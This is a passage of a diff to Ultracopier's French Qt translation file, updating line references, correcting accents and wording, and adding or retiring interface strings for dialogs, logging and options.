<translation>Déplacer</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="43"/>
+ <location filename="../../../FacilityEngine.cpp" line="51"/>
<source>Pause</source>
<translation>Pause</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="44"/>
+ <location filename="../../../FacilityEngine.cpp" line="52"/>
<source>Resume</source>
<translation>Reprendre</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="45"/>
- <location filename="../../../FacilityEngine.cpp" line="59"/>
+ <location filename="../../../FacilityEngine.cpp" line="53"/>
+ <location filename="../../../FacilityEngine.cpp" line="67"/>
<source>Skip</source>
<translation>Passer</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="46"/>
+ <location filename="../../../FacilityEngine.cpp" line="54"/>
<source>Unlimited</source>
<translation>Illimité</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="24"/>
+ <location filename="../../../FacilityEngine.cpp" line="27"/>
<source>s</source>
<translation>s</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="25"/>
+ <location filename="../../../FacilityEngine.cpp" line="28"/>
<source>Too big</source>
<translation>Trop grand</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="26"/>
+ <location filename="../../../FacilityEngine.cpp" line="29"/>
<source>B</source>
<translation>o</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="27"/>
+ <location filename="../../../FacilityEngine.cpp" line="30"/>
<source>KB</source>
<translation>Ko</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="28"/>
+ <location filename="../../../FacilityEngine.cpp" line="31"/>
<source>MB</source>
<translation>Mo</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="29"/>
+ <location filename="../../../FacilityEngine.cpp" line="32"/>
<source>GB</source>
<translation>Go</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="30"/>
+ <location filename="../../../FacilityEngine.cpp" line="33"/>
<source>TB</source>
<translation>To</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="31"/>
+ <location filename="../../../FacilityEngine.cpp" line="34"/>
<source>PB</source>
<translation>Po</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="32"/>
+ <location filename="../../../FacilityEngine.cpp" line="35"/>
<source>EB</source>
<translation>Eo</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="33"/>
+ <location filename="../../../FacilityEngine.cpp" line="36"/>
<source>ZB</source>
<translation>Zo</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="34"/>
+ <location filename="../../../FacilityEngine.cpp" line="37"/>
<source>YB</source>
<translation>Yo</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="35"/>
+ <location filename="../../../FacilityEngine.cpp" line="38"/>
<source>Less than %10 seconds</source>
<translation>Moins de %10 secondes</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="36"/>
+ <location filename="../../../FacilityEngine.cpp" line="39"/>
<source>About %10 seconds remaining</source>
<translation>Environ %10 secondes restantes</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="37"/>
+ <location filename="../../../FacilityEngine.cpp" line="40"/>
<source>About %1 minutes remaining</source>
<translation>Environ %1 minutes restantes</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="38"/>
+ <location filename="../../../FacilityEngine.cpp" line="41"/>
<source>About %1 hours remaining</source>
<translation>Environ %1 heures restantes</translation>
</message>
<message>
<location filename="../../../FacilityEngine.cpp" line="47"/>
+ <source>Transfer</source>
+ <extracomment>a transfer</extracomment>
+ <translation>Transfert</translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="50"/>
+ <source>Start</source>
+ <translation>Démarrer</translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="55"/>
<source>Source</source>
<translation>Source</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="48"/>
+ <location filename="../../../FacilityEngine.cpp" line="56"/>
<source>Size</source>
<translation>Taille</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="49"/>
+ <location filename="../../../FacilityEngine.cpp" line="57"/>
<source>Destination</source>
<translation>Destination</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="50"/>
+ <location filename="../../../FacilityEngine.cpp" line="58"/>
<source>Quit</source>
<translation>Quitter</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="51"/>
+ <location filename="../../../FacilityEngine.cpp" line="59"/>
<source>Target</source>
<translation>Cible</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="52"/>
- <location filename="../../../FacilityEngine.cpp" line="56"/>
+ <location filename="../../../FacilityEngine.cpp" line="60"/>
+ <location filename="../../../FacilityEngine.cpp" line="64"/>
<source>Time remaining:</source>
<translation>Temps restant:</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="53"/>
+ <location filename="../../../FacilityEngine.cpp" line="61"/>
<source>Listing</source>
+ <translatorcomment>Création de la liste? Listage?</translatorcomment>
<translation>Listing</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="54"/>
+ <location filename="../../../FacilityEngine.cpp" line="62"/>
<source>Copying</source>
+ <translatorcomment>Copie en cour -&gt; copying in progress</translatorcomment>
<translation>Copie</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="55"/>
+ <location filename="../../../FacilityEngine.cpp" line="63"/>
<source>Listing and copying</source>
<translation>Listing et copie</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="58"/>
+ <location filename="../../../FacilityEngine.cpp" line="66"/>
<source>Ask</source>
<translation>Demander</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="60"/>
+ <location filename="../../../FacilityEngine.cpp" line="68"/>
<source>Overwrite</source>
<translation>Écraser</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="61"/>
+ <location filename="../../../FacilityEngine.cpp" line="69"/>
<source>Overwrite if newer</source>
<translation>Écraser si plus récent</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="62"/>
+ <location filename="../../../FacilityEngine.cpp" line="70"/>
<source>Overwrite if the last modification dates are different</source>
- <translation>Écrasé si les dates de modifications sont différentes</translation>
+ <translation>Écraser si les dates de modification sont différentes</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="63"/>
+ <location filename="../../../FacilityEngine.cpp" line="71"/>
<source>Rename</source>
<translation>Renommer</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="64"/>
- <source>Put to end of the list</source>
+ <location filename="../../../FacilityEngine.cpp" line="72"/>
+ <source>Put to the end of the list</source>
<translation>Mettre à la fin</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="65"/>
+ <location filename="../../../FacilityEngine.cpp" line="83"/>
+ <source>Completed in %1</source>
+ <translation>Fini en %1</translation>
+ </message>
+ <message>
+ <source>Put to end of the list</source>
+ <translation type="obsolete">Mettre à la fin</translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="73"/>
<source>Select source directory</source>
- <translation>Selectionner un dossier source</translation>
+ <translation>Sélectionner un dossier source</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="66"/>
+ <location filename="../../../FacilityEngine.cpp" line="74"/>
<source>Select destination directory</source>
- <translation>Selectionner un dossier de destination</translation>
+ <translation>Sélectionner un dossier de destination</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="67"/>
+ <location filename="../../../FacilityEngine.cpp" line="75"/>
<source>Internal error</source>
<translation>Erreur interne</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="68"/>
+ <location filename="../../../FacilityEngine.cpp" line="76"/>
<source>Select one or more files to open</source>
- <translation>Selectionner un ou des fichiers à ouvrir</translation>
+ <translation>Sélectionner un ou des fichiers à ouvrir</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="69"/>
+ <location filename="../../../FacilityEngine.cpp" line="77"/>
<source>All files</source>
- <translation>Tout fichiers</translation>
+ <translation>Tous les fichiers</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="70"/>
+ <location filename="../../../FacilityEngine.cpp" line="78"/>
<source>Save transfer list</source>
<translation>Sauvegarder la liste de transfert</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="71"/>
+ <location filename="../../../FacilityEngine.cpp" line="79"/>
<source>Open transfer list</source>
<translation>Ouvrir la liste de transfert</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="72"/>
+ <location filename="../../../FacilityEngine.cpp" line="80"/>
<source>Transfer list</source>
<translation>Liste de transfert</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="73"/>
+ <location filename="../../../FacilityEngine.cpp" line="81"/>
<source>Error</source>
<translation>Erreur</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="74"/>
+ <location filename="../../../FacilityEngine.cpp" line="82"/>
<source>Not supported on this platform</source>
<translation>Pas supporté sur cette platforme</translation>
</message>
@@ -412,81 +522,107 @@
<context>
<name>HelpDialog</name>
<message>
- <location filename="../../../HelpDialog.ui" line="20"/>
- <source>About ultracopier</source>
- <translation>A propos d&apos;ultracopier</translation>
+ <location filename="../../../HelpDialog.cpp" line="37"/>
+ <source>About Ultracopier</source>
+ <translation>À propos d&apos;Ultracopier</translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="70"/>
- <source>Based on Qt. It provide advanced copier with more advanced feature. It&apos;s under GPL3.
+ <location filename="../../../HelpDialog.ui" line="67"/>
+ <source>Based on Qt. Advanced utility to copy files under GPL3 license.
This version is compiled as version: %1.</source>
<extracomment>%1 will be replaced by a variable content (normal, debug, ...)</extracomment>
- <translation>Basé sur Qt. Il fournit un copieur avec plus d&apos;options avancées. Qui est en GPL3.
-Cette version est compilée comme version: %1.</translation>
+ <translation>Basé sur Qt. Utilitaire avancé de copie de fichiers sous licence GPL3.
+Cette version est compilée comme version : %1.</translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="88"/>
+ <location filename="../../../HelpDialog.ui" line="85"/>
<source>Platform: %1</source>
<extracomment>%1 will be replaced by the platform (windows, mac, linux, ...)</extracomment>
<translation>Plateforme: %1</translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="149"/>
+ <location filename="../../../HelpDialog.ui" line="121"/>
<source>About Qt</source>
- <translation>A propos de Qt</translation>
+ <translation>À propos de Qt</translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="169"/>
+ <location filename="../../../HelpDialog.ui" line="141"/>
<source>Do a crash</source>
<translation>Faire un crash</translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="176"/>
+ <location filename="../../../HelpDialog.ui" line="148"/>
<source>Save bug report</source>
<translation>Sauver le rapport</translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="183"/>
+ <location filename="../../../HelpDialog.ui" line="155"/>
<source>Close</source>
<translation>Fermer</translation>
</message>
<message>
- <location filename="../../../HelpDialog.cpp" line="74"/>
+ <location filename="../../../HelpDialog.cpp" line="35"/>
+ <source>About Supercopier</source>
+ <translation>À propos de Supercopier</translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="80"/>
<source>For http://portableapps.com/</source>
<translation>Pour http://portableapps.com/</translation>
</message>
<message>
- <location filename="../../../HelpDialog.cpp" line="76"/>
+ <location filename="../../../HelpDialog.cpp" line="83"/>
+ <source>Portable and all in one version</source>
+ <translation>Portable et tout en un</translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="85"/>
<source>Portable version</source>
<translation>Version portable</translation>
</message>
<message>
- <location filename="../../../HelpDialog.cpp" line="79"/>
+ <location filename="../../../HelpDialog.cpp" line="90"/>
+ <source>All in one version</source>
+ <translation>Tout en un</translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="92"/>
<source>Normal version</source>
<translation>Version normale</translation>
</message>
<message>
- <location filename="../../../HelpDialog.cpp" line="85"/>
+ <location filename="../../../HelpDialog.cpp" line="110"/>
+ <location filename="../../../HelpDialog.cpp" line="112"/>
+ <location filename="../../../HelpDialog.cpp" line="123"/>
<source>http://ultracopier.first-world.info/</source>
- <extracomment>This site need be the official site of ultracopier, into the right languages, english if not exists</extracomment>
<translation>http://ultracopier-fr.first-world.info/</translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="78"/>
+ <location filename="../../../HelpDialog.cpp" line="120"/>
+ <source>http://ultracopier.first-world.info/shop.html</source>
+ <translation>http://ultracopier-fr.first-world.info/shop.html</translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="125"/>
+ <source>http://ultracopier.first-world.info/download.html</source>
+ <translation>http://ultracopier-fr.first-world.info/telecharger.html</translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.ui" line="75"/>
<source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;For more information see the website &lt;a href=&quot;%1&quot;&gt;&lt;span style=&quot; text-decoration: underline; color:#0057ae;&quot;&gt;%1&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
<extracomment>%1 will be remplaced by the website into the corresponding languages</extracomment>
- <translation>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Pour plus d&apos;information voir le site &lt;a href=&quot;%1&quot;&gt;&lt;span style=&quot; text-decoration: underline; color:#0057ae;&quot;&gt;%1&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</translation>
+ <translation>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Pour plus d&apos;informations voir le site &lt;a href=&quot;%1&quot;&gt;&lt;span style=&quot; text-decoration: underline; color:#0057ae;&quot;&gt;%1&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</translation>
</message>
</context>
<context>
<name>LocalListener</name>
<message>
- <location filename="../../../LocalListener.cpp" line="128"/>
+ <location filename="../../../LocalListener.cpp" line="146"/>
<source>Warning</source>
- <translation>Attention</translation>
+ <translation>Avertissement</translation>
</message>
<message>
- <location filename="../../../LocalListener.cpp" line="128"/>
+ <location filename="../../../LocalListener.cpp" line="146"/>
<source>Timeout while recomposing data from connected clients</source>
<translation>Timeout pendant la recompossition des données des clients connectés</translation>
</message>
@@ -494,22 +630,83 @@ Cette version est compilée comme version: %1.</translation>
<context>
<name>LogThread</name>
<message>
- <location filename="../../../LogThread.cpp" line="65"/>
- <location filename="../../../LogThread.cpp" line="74"/>
- <location filename="../../../LogThread.cpp" line="84"/>
+ <location filename="../../../LogThread.cpp" line="106"/>
+ <location filename="../../../LogThread.cpp" line="115"/>
+ <location filename="../../../LogThread.cpp" line="125"/>
<source>Error</source>
<translation>Erreur</translation>
</message>
<message>
- <location filename="../../../LogThread.cpp" line="65"/>
+ <location filename="../../../LogThread.cpp" line="106"/>
<source>Log file already open, error: %1</source>
<translation>Fichier de log déjà ouvert, erreur: %1</translation>
</message>
<message>
- <location filename="../../../LogThread.cpp" line="74"/>
- <location filename="../../../LogThread.cpp" line="84"/>
+ <location filename="../../../LogThread.cpp" line="115"/>
+ <location filename="../../../LogThread.cpp" line="125"/>
+ <source>Unable to open the log file, error: %1</source>
+ <translation>Impossible d&apos;ouvrir le fichier de log, erreur: %1</translation>
+ </message>
+ <message>
<source>Unable to open file to keep the log file, error: %1</source>
- <translation>Impossible d&apos;ouvrir le fichier à conserver le fichier de log, erreur: %1</translation>
+ <translation type="obsolete">Impossible d&apos;ouvrir le fichier de log, erreur: %1</translation>
+ </message>
+</context>
+<context>
+ <name>OSSpecific</name>
+ <message>
+ <location filename="../../../OSSpecific.ui" line="26"/>
+ <source>Warning</source>
+ <translation>Avertissement</translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.ui" line="58"/>
+ <source>Don&apos;t show again</source>
+ <translation>Ne plus afficher</translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.ui" line="83"/>
+ <source>Ok</source>
+ <translation>Ok</translation>
+ </message>
+ <message>
+ <source>The replacement of default copy/move system is not supported by the file manager (Dolphin, Nautilus, ...).&lt;br /&gt;Ask to the developer to support it.&lt;br /&gt;You need do the copy/move manually.</source>
+ <translation type="obsolete">Le remplacement du systéme de copie/déplacement n&apos;est pas supporté par le gestionnaire de fichier (Dolphin, Nautilus, ...).&lt;br /&gt;Demander aux developpeurs de le supporter.&lt;br /&gt;Vous devez faire la copie/déplacement manuellement.</translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="23"/>
+ <source>The replacement of default copy/move system is not supported by the file manager (Dolphin, Nautilus, ...).&lt;br /&gt;Ask the developer to support it.&lt;br /&gt;You need do the copy/move manually.</source>
+ <translation>Le remplacement du systéme de copie/déplacement n&apos;est pas supporté par le gestionnaire de fichier (Dolphin, Nautilus, ...).&lt;br /&gt;Demander aux developpeurs de le supporter.&lt;br /&gt;Vous devez faire la copie/déplacement manuellement.</translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="25"/>
+ <source>Reboot the system if previously had similar software installed (like Teracopy, Supercopier or an earlier version of Ultracopier).</source>
+ <translation>Redémarrer le système si précédemment vous avez installé un logiciel similaire (comme Teracopy, Supercopier ou une version précédente d&apos;Ultracopier).</translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="27"/>
+ <source>The replacement of default copy/move system is not supported and blocked by finder of Mac OS X.&lt;br /&gt;You need do the copy/move manually by right clicking on the system tray icon near the clock (not the dock icon).</source>
+ <translation>Le remplacement du systéme de copie/déplacement n&apos;est pas supporté et bloqué par le finder de Mac OS X.&lt;br /&gt;Vous devez faire la copie/déplacement manuellement en cliquant sur l&apos;icone du systray à coté de l&apos;heure (pas l&apos;icone du dock).</translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="29"/>
+ <source>The replacement of default copy/move system should be not supported by the file manager.&lt;br /&gt;Ask to the developer to support it.&lt;br /&gt;You need do the copy/move manually.</source>
+ <translation>Le remplacement du systéme de copie/déplacement n&apos;est pas supporté par le gestionnaire de fichier.&lt;br /&gt;Demander aux developpeurs de le supporter.&lt;br /&gt;Vous devez faire la copie/déplacement manuellement.</translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="32"/>
+ <source>Consider Supercopier as deprecated, prefer Ultracopier</source>
+ <translation>Considérez Supercopier comme obsolète, préférez Ultracopier</translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="35"/>
+ <source>This version use 100% of you graphic card/GPU (you computer can be noisy, or slow/buggy during the games) at exchange of free access to Ultimate version. If you don&apos;t wish it, download the normal version with a small advertisement (just a link on the main window) or buy the Ultimate version to fund the project.</source>
+ <translation>Cette version utilise 100% de votre carte graphique/GPU (votre ordinateur peu devenir bruyant ou buggé) en échange d&apos;un accés gratuit à la version Ultimate. Si vous ne le voulez pas téléchargez la version normal qui as une petite publicité (juste un lien sur la fenêtre principal) ou acheter votre version pour financer le projet.</translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="36"/>
+ <source>http://ultracopier.first-world.info/download.html</source>
+ <translation>http://ultracopier-fr.first-world.info/telecharger.html</translation>
</message>
</context>
<context>
@@ -532,258 +729,399 @@ Cette version est compilée comme version: %1.</translation>
</message>
<message>
<location filename="../../../OptionDialog.ui" line="66"/>
- <location filename="../../../OptionDialog.ui" line="275"/>
- <location filename="../../../OptionDialog.cpp" line="186"/>
+ <location filename="../../../OptionDialog.ui" line="322"/>
+ <location filename="../../../OptionDialog.cpp" line="354"/>
<source>Copy engine</source>
<translation>Moteurs de copie</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="95"/>
- <location filename="../../../OptionDialog.ui" line="303"/>
+ <location filename="../../../OptionDialog.ui" line="92"/>
+ <location filename="../../../OptionDialog.ui" line="350"/>
<source>Themes</source>
<translation>Thèmes</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="100"/>
+ <location filename="../../../OptionDialog.ui" line="97"/>
<source>Log</source>
<translation>Logs</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="117"/>
- <source>Language:</source>
- <translation>Langue:</translation>
+ <source>Load at the session loading:</source>
+ <translation type="obsolete">Lancer à l&apos;ouverture de la session:</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="127"/>
- <source>Autodetect the system language:</source>
- <translation>Détecter automatiquement la langue:</translation>
+ <location filename="../../../OptionDialog.ui" line="222"/>
+ <source>Confirm to group the windows</source>
+ <translation>Confirmer pour grouper les fenêtres</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="141"/>
- <source>Catch the copy/move as default:</source>
- <translation>Capturer la copie/déplacement par défaut:</translation>
+ <source>Display the OS warning:</source>
+ <translation type="obsolete">Afficher les avertissements de l&apos;OS:</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="155"/>
- <source>Load at the session loading:</source>
- <translation>Lancer à l&apos;ouverture de la session:</translation>
+ <location filename="../../../OptionDialog.ui" line="245"/>
+ <source>Check for updates</source>
+ <translation>Vérifier les mise à jour</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="265"/>
+ <source>Give GPU time to Ultracopier</source>
+ <translation type="obsolete">Donner du temps GPU à Ultracopier</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="312"/>
<source>Name</source>
<translation>Nom</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="270"/>
+ <location filename="../../../OptionDialog.ui" line="317"/>
<source>Version</source>
<translation>Version</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="280"/>
+ <location filename="../../../OptionDialog.ui" line="327"/>
<source>Language</source>
<translation>Langue</translation>
</message>
<message>
<location filename="../../../OptionDialog.ui" line="71"/>
- <location filename="../../../OptionDialog.ui" line="288"/>
- <location filename="../../../OptionDialog.cpp" line="187"/>
+ <location filename="../../../OptionDialog.ui" line="335"/>
+ <location filename="../../../OptionDialog.cpp" line="355"/>
<source>Listener</source>
<translation>Écouteur</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="79"/>
- <location filename="../../../OptionDialog.ui" line="293"/>
- <location filename="../../../OptionDialog.cpp" line="188"/>
+ <location filename="../../../OptionDialog.ui" line="76"/>
+ <location filename="../../../OptionDialog.ui" line="340"/>
+ <location filename="../../../OptionDialog.cpp" line="356"/>
<source>Plugin loader</source>
<translation>Chargeur de plugin</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="87"/>
- <location filename="../../../OptionDialog.ui" line="298"/>
- <location filename="../../../OptionDialog.cpp" line="189"/>
+ <location filename="../../../OptionDialog.ui" line="84"/>
+ <location filename="../../../OptionDialog.ui" line="345"/>
+ <location filename="../../../OptionDialog.cpp" line="357"/>
<source>Session loader</source>
<translation>Chargeur de session</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="311"/>
+ <source>Check the update</source>
+ <translation type="obsolete">Vérifié les mise à jour</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="117"/>
+ <source>Force the language</source>
+ <translation>Forcer la langue</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="127"/>
+ <source>Replace the default copy and move system</source>
+ <translation>Remplacer le système de copie/déplacement par défaut</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="141"/>
+ <source>Load at the session loading</source>
+ <translation>Lancer à l&apos;ouverture de la session</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="155"/>
+ <source>When manual open</source>
+ <translation>Quand ouverture manuel</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="181"/>
+ <source>Group the windows when</source>
+ <translation>Grouper les fenêtres quand</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="229"/>
+ <source>Display the OS warning</source>
+ <translation>Afficher les avertissements de l&apos;OS</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="255"/>
+ <source>Give GPU time to fund the development</source>
+ <translation>Donnez du temps GPU pour financer le développement</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="262"/>
+ <source>Remaining time algorithm</source>
+ <translation>Algorithme de temps restant</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="270"/>
+ <source>Traditional</source>
+ <translation>Traditionnel</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="275"/>
+ <source>Logarithmic</source>
+ <translation>Logarithmique</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="358"/>
<source>Plugin</source>
<translation>Plugin</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="330"/>
+ <location filename="../../../OptionDialog.ui" line="377"/>
<source>Add</source>
<translation>Ajouter</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="343"/>
+ <location filename="../../../OptionDialog.ui" line="390"/>
<source>Remove</source>
<translation>Supprimer</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="353"/>
+ <location filename="../../../OptionDialog.ui" line="400"/>
<source>Information</source>
<translation>Informations</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="380"/>
+ <location filename="../../../OptionDialog.ui" line="427"/>
<source>Copy engine by order of preference:</source>
<translation>Moteurs de copie par ordre de préférence:</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="493"/>
+ <location filename="../../../OptionDialog.ui" line="498"/>
+ <source>Client connected</source>
+ <translation>Client connecté</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="554"/>
<source>Themes:</source>
<translation>Thèmes:</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="555"/>
+ <location filename="../../../OptionDialog.ui" line="616"/>
<source>Unable to load the themes plugin</source>
<translation>Impossible de charger le plugin des thèmes</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="605"/>
+ <location filename="../../../OptionDialog.ui" line="666"/>
<source>No option for this plugin</source>
<translation>Pas d&apos;options pour ce plugin</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="655"/>
+ <location filename="../../../OptionDialog.ui" line="716"/>
<source>Browse</source>
<translation>Parcourir</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="687"/>
- <location filename="../../../OptionDialog.ui" line="700"/>
+ <location filename="../../../OptionDialog.ui" line="741"/>
+ <source>Write the transfers</source>
+ <translation>Écrire les transferts</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="801"/>
+ <source>Write the folder operations</source>
+ <translation>Écrire les opérations dossier</translation>
+ </message>
+ <message>
+ <source>Write directly the file when it receive a new entry (can produce 50% of lost of performance)</source>
+ <translation type="obsolete">Écrire directement le fichier quand il reçoit une nouvelle entrée (peut entrainer 50% de perte de performances)</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="748"/>
<source>The variables are %time%, %source%, %size%, %destination%</source>
- <extracomment>%time%, %source%, %size%, %destination% should not be translated
-----------
-%time%, %source%, %size%, %destination% should not be translated</extracomment>
+ <extracomment>%time%, %source%, %size%, %destination% should not be translated</extracomment>
<translation>Les variables sont %time%, %source%, %size%, %destination%</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="717"/>
- <location filename="../../../OptionDialog.ui" line="730"/>
+ <location filename="../../../OptionDialog.ui" line="771"/>
+ <source>Write the errors</source>
+ <translation>Écrire les erreurs</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="778"/>
<source>The variables are %time%, %path%, %size%, %mtime%, %error%</source>
- <extracomment>%time%, %path%, %size%, %mtime%, %error% should not be translated
-----------
-%time%, %path%, %size%, %mtime%, %error% should not be translated</extracomment>
+ <extracomment>%time%, %path%, %size%, %mtime%, %error% should not be translated</extracomment>
<translation>Les variables sont %time%, %path%, %size%, %mtime%, %error%</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="636"/>
+ <location filename="../../../OptionDialog.ui" line="697"/>
<source>Write the log file into:</source>
- <translation>Ecrire le fichier journal dans:</translation>
+ <translation>Écrire le fichier journal dans:</translation>
+ </message>
+ <message>
+ <source>Force the language:</source>
+ <translation type="obsolete">Forcer la langue:</translation>
+ </message>
+ <message>
+ <source>Replace the default copy and move system:</source>
+ <translation type="obsolete">Remplacer le système de copie/déplacement par défaut:</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="728"/>
+ <source>Write directly to the file when it receive a new entry (can produce 50% of lost of performance)</source>
+ <translation>Écrire directement le fichier quand il reçoit une nouvelle entrée (peut entrainer 50% de perte de performances)</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="680"/>
<source>Write the transfers:</source>
- <translation>Ecrire les transfers:</translation>
+ <translation type="obsolete">Écrire les transferts:</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="710"/>
<source>Write the errors:</source>
- <translation>Ecrire les erreurs:</translation>
+ <translation type="obsolete">Écrire les erreurs:</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="740"/>
<source>Write the folder operations:</source>
- <translation>Rédiger les opérations dossier:</translation>
+ <translation type="obsolete">Écrire les opérations dossier:</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.cpp" line="260"/>
+ <location filename="../../../OptionDialog.cpp" line="274"/>
+ <source>Load</source>
+ <translation>Charger</translation>
+ </message>
+ <message>
